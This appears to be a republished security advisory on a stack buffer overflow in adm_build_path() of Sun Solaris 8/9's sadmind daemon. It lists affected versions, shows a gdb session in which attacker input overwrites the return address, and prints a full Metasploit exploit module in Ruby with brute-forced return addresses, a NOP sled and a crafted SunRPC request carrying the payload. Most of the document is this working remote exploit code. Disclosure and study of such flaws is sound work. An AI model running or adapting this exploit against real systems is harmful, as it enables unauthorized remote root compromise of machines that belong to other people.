‘Sun Solstice AdminSuite sadmind adm_build_path() Buffer Overflow Vulnerability’

Summary

There exists a vulnerability within a function of the Sun Solstice AdminSuite sadmind, which when properly exploited can lead to remote compromise of the vulnerable system. This vulnerability was confirmed by us in the following versions of the Sun operating system, other versions may be also affected.’

Credit:

‘The information has been provided by RISE Security.
The original article can be found at: http://risesecurity.org/advisories/RISE-2008001.txt


Details

Vulnerable Systems:
 * Sun Solaris 9 SPARC
 * Sun Solaris 9 x86
 * Sun Solaris 8 SPARC
 * Sun Solaris 8 x86

Solstice AdminSuite is a collection of graphical user interface tools and commands used to perform administrative tasks such as managing users, groups, hosts, system files, printers, disks, file systems, terminals, and modems.

The distributed system administration daemon (sadmind) is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations.

The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received. The sadmind daemon process continues to run for 15 minutes after the last request is completed, unless a different idle-time is specified with the -i command line option. The sadmind daemon may be started independently from the command line, for example, at system boot time. In this case, the -i option has no effect; sadmind continues to run, even if there are no active requests.

The vulnerable function adm_build_path() does does not validate user supplied data when appending it to a stack-based buffer using strcat(), resulting in a stack-based buffer overflow. The exploitation of this vulnerability is trivial and results in remote compromise of the vulnerable system. This is the debug information about this vulnerability (from Sun Solaris 9 x86).

Breakpoint 1, 0xd330e5b0 in adm_build_path () from /usr/snadm/lib/libadmapm.so.2
(gdb) until *adm_build_path+38
0xd330e5c6 in adm_build_path () from /usr/snadm/lib/libadmapm.so.2
(gdb) x/i $pc
0xd330e5c6 <adm_build_path+38>: call 0xd3304fa8 <strcat@plt>
(gdb) x/x $esp+4
0x80411e4: 0x080b7cd0
(gdb) x/x $esp
0x80411e0: 0x08041208
(gdb) x/s 0x080b7cd0
0x80b7cd0: ‘A’ <repeats 200 times>…
(gdb) x/s 0x08041208
0x8041208: ‘system.2.1/’
(gdb) where
#0 0xd330e5c6 in adm_build_path () from /usr/snadm/lib/libadmapm.so.2
#1 0xd330eaa7 in adm_find_method () from /usr/snadm/lib/libadmapm.so.2
#2 0xd335326b in verify_vers_1 () from /usr/snadm/lib/libadmagt.so.2
#3 0xd3352e88 in verify_validate () from /usr/snadm/lib/libadmagt.so.2
#4 0xd3352cf8 in amsl_verify () from /usr/snadm/lib/libadmagt.so.2
#5 0xd32c8a85 in __0fQNetmgtDispatcherPdispatchRequestP6Hsvc_reqP6J__svcxprt () from /usr/snadm/lib/libadmcom.so.2
#6 0xd32c8656 in __0fQNetmgtDispatcherOreceiveRequestP6Hsvc_reqP6J__svcxprt () from /usr/snadm/lib/libadmcom.so.2
#7 0xd32c837c in _netmgt_receiveRequest () from /usr/snadm/lib/libadmcom.so.2
#8 0xd311d4a3 in _svc_prog_dispatch () from /usr/lib/libnsl.so.1
#9 0xd311d24e in svc_getreq_common () from /usr/lib/libnsl.so.1
#10 0xd311d130 in svc_getreq_poll () from /usr/lib/libnsl.so.1
#11 0xd3121550 in _svc_run () from /usr/lib/libnsl.so.1
#12 0xd3121293 in svc_run () from /usr/lib/libnsl.so.1
#13 0xd32cd165 in __0fQNetmgtDispatcherNstartupServerv () from /usr/snadm/lib/libadmcom.so.2
#14 0xd32cd13b in netmgt_start_agent () from /usr/snadm/lib/libadmcom.so.2
#15 0x0805168f in main ()
(gdb) stepi
0xd3304fa8 in strcat@plt () from /usr/snadm/lib/libadmapm.so.2
(gdb) step
Single stepping until exit from function strcat@plt, which has no line number information.
0xd330e5cb in adm_build_path () from /usr/snadm/lib/libadmapm.so.2
(gdb) x/i $pc
0xd330e5cb <adm_build_path+43>: add $0x8,%esp
(gdb) where
#0 0xd330e5cb in adm_build_path () from /usr/snadm/lib/libadmapm.so.2
#1 0xd330eaa7 in adm_find_method () from /usr/snadm/lib/libadmapm.so.2
#2 0xaabbccdd in ?? ()
#3 0x08063000 in ?? ()
#4 0x08063128 in ?? ()
#5 0x080b7cd0 in ?? ()
#6 0x08041730 in ?? ()
#7 0x00000400 in ?? ()
#8 0x00000001 in ?? ()
#9 0xd336ac8c in ?? () from /usr/snadm/lib/libadmagt.so.2
#10 0x00000000 in ?? ()
(gdb) c
Continuing.

Breakpoint 1, 0xd330e5b0 in adm_build_path () from /usr/snadm/lib/libadmapm.so.2
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb)

Exploit:
##
# $Id: sadmind_adm_build_path.rb 5753 2008-10-14 14:57:33Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::SunRPC
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   ‘Name’ => ‘Sun Solaris sadmind adm_build_path() Buffer Overflow’,
   ‘Description’ => %q{
   This module exploits a buffer overflow vulnerability in adm_build_path()
  function of sadmind daemon.

  The distributed system administration daemon (sadmind) is the daemon used by
  Solstice AdminSuite applications to perform distributed system administration
  operations.

  The sadmind daemon is started automatically by the inetd daemon whenever a
  request to invoke an operation is received. The sadmind daemon process
  continues to run for 15 minutes after the last request is completed, unless a
  different idle-time is specified with the -i command line option. The sadmind
  daemon may be started independently from the command line, for example, at
  system boot time. In this case, the -i option has no effect; sadmind continues
  to run, even if there are no active requests.
   },
   ‘Author’ =>
    [
     ‘Adriano Lima <adriano@risesecurity.org>’,
     ‘Ramon de Carvalho Valle <ramon@risesecurity.org>’,
    ],
   ‘Version’ => ‘$Revision: 5753 $’,
   ‘Arch’ => ARCH_X86,
   ‘Platform’ => ‘solaris’,
   ‘References’ =>
    [
     [‘URL’, ‘http://risesecurity.org/advisory/RISE-2008001/’],
    ],
   ‘Privileged’ => true,
   ‘License’ => MSF_LICENSE,
   ‘Payload’ =>
    {
     ‘Space’ => 1024,
     ‘BadChars’ => ‘x00’,
    },
   ‘Targets’ =>
    [
     [
      ‘Sun Solaris 9 x86 Brute Force’,
      {
       ‘Arch’ => [ ARCH_X86 ],
       ‘Platform’ => ‘solaris’,
       ‘Nops’ => 1024 * 32,
       ‘Bruteforce’ =>
        {
         ‘Start’ => { ‘Ret’ => 0x08062030 },
         ‘Stop’ => { ‘Ret’ => 0x08072030 },
         ‘Step’ => 1024 * 30,
        }
      }
     ],
     [
      ‘Sun Solaris 9 x86’,
      {
       ‘Nops’ => 1024 * 4,
       ‘Bruteforce’ =>
        {
         ‘Start’ => { ‘Ret’ => 0x08066a60 + 2048 },
         ‘Stop’ => { ‘Ret’ => 0x08066a60 + 2048 },
         ‘Step’ => 1,
        }
      }
     ],
     [
      ‘Debug’,
      {
       ‘Nops’ => 1024 * 4,
       ‘Bruteforce’ =>
        {
         ‘Start’ => { ‘Ret’ => 0xaabbccdd },
         ‘Stop’ => { ‘Ret’ => 0xaabbccdd },
         ‘Step’ => 1,
        }
      }
     ],
    ],
   ‘DefaultTarget’ => 0
  ))

 end

 def brute_exploit(brute_target)
  sunrpc_create(‘udp’, 100232, 10)

  unless @nops
   print_status(‘Creating nop block…’)
   if target[‘Nops’] > 0
    @nops = make_nops(target[‘Nops’])
   else
    @nops = ”
   end
  end

  print_status(‘Trying to exploit sadmind with address 0x%.8x…’ % brute_target[‘Ret’])

  hostname = ‘localhost’

  # buf1 = rand_text_alpha(1017) + [brute_target[‘Ret’]].pack(‘L’)
    buf1 = ‘A’ * 1017 + [brute_target[‘Ret’]].pack(‘L’)
  buf2 = @nops + payload.encoded

  header =
   XDR.encode(0) * 7 +
   XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
    4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
    hostname, ‘system’, rand_text_alpha(16))

  body =
   do_int(‘ADM_FW_VERSION’, 1) +
   do_string(‘ADM_LANG’, ‘C’) +
   do_string(‘ADM_REQUESTID’, ‘00009:000000000:0’) +
   do_string(‘ADM_CLASS’, ‘system’) +
   do_string(‘ADM_CLASS_VERS’, ‘2.1’) +
   do_string(‘ADM_METHOD’, buf1) +
   do_string(‘ADM_HOST’, hostname) +
   do_string(‘ADM_CLIENT_HOST’, hostname) +
   do_string(‘ADM_CLIENT_DOMAIN’, ”) +
   do_string(‘ADM_TIMEOUT_PARMS’, ‘TTL=0 PTO=20 PCNT=2 PDLY=30’) +
   do_int(‘ADM_FENCE’, 0) +
   do_string(‘X’, buf2) +
   XDR.encode(‘netmgt_endofargs’)

  request = header + XDR.encode(header.length + body.length – 326) + body

  begin
   # two seconds timeout for brute force
   sunrpc_call(1, request, 2)
  rescue Rex::Proto::SunRPC::RPCTimeout
   print_good(‘Server did not respond, this is expected’)
  end

  sunrpc_destroy
  handler
 end

 def do_string(str1, str2)
  XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
 end

 def do_int(str, int)
  XDR.encode(str, 3, 4, int, 0, 0)
 end

end’

Categories: UNIX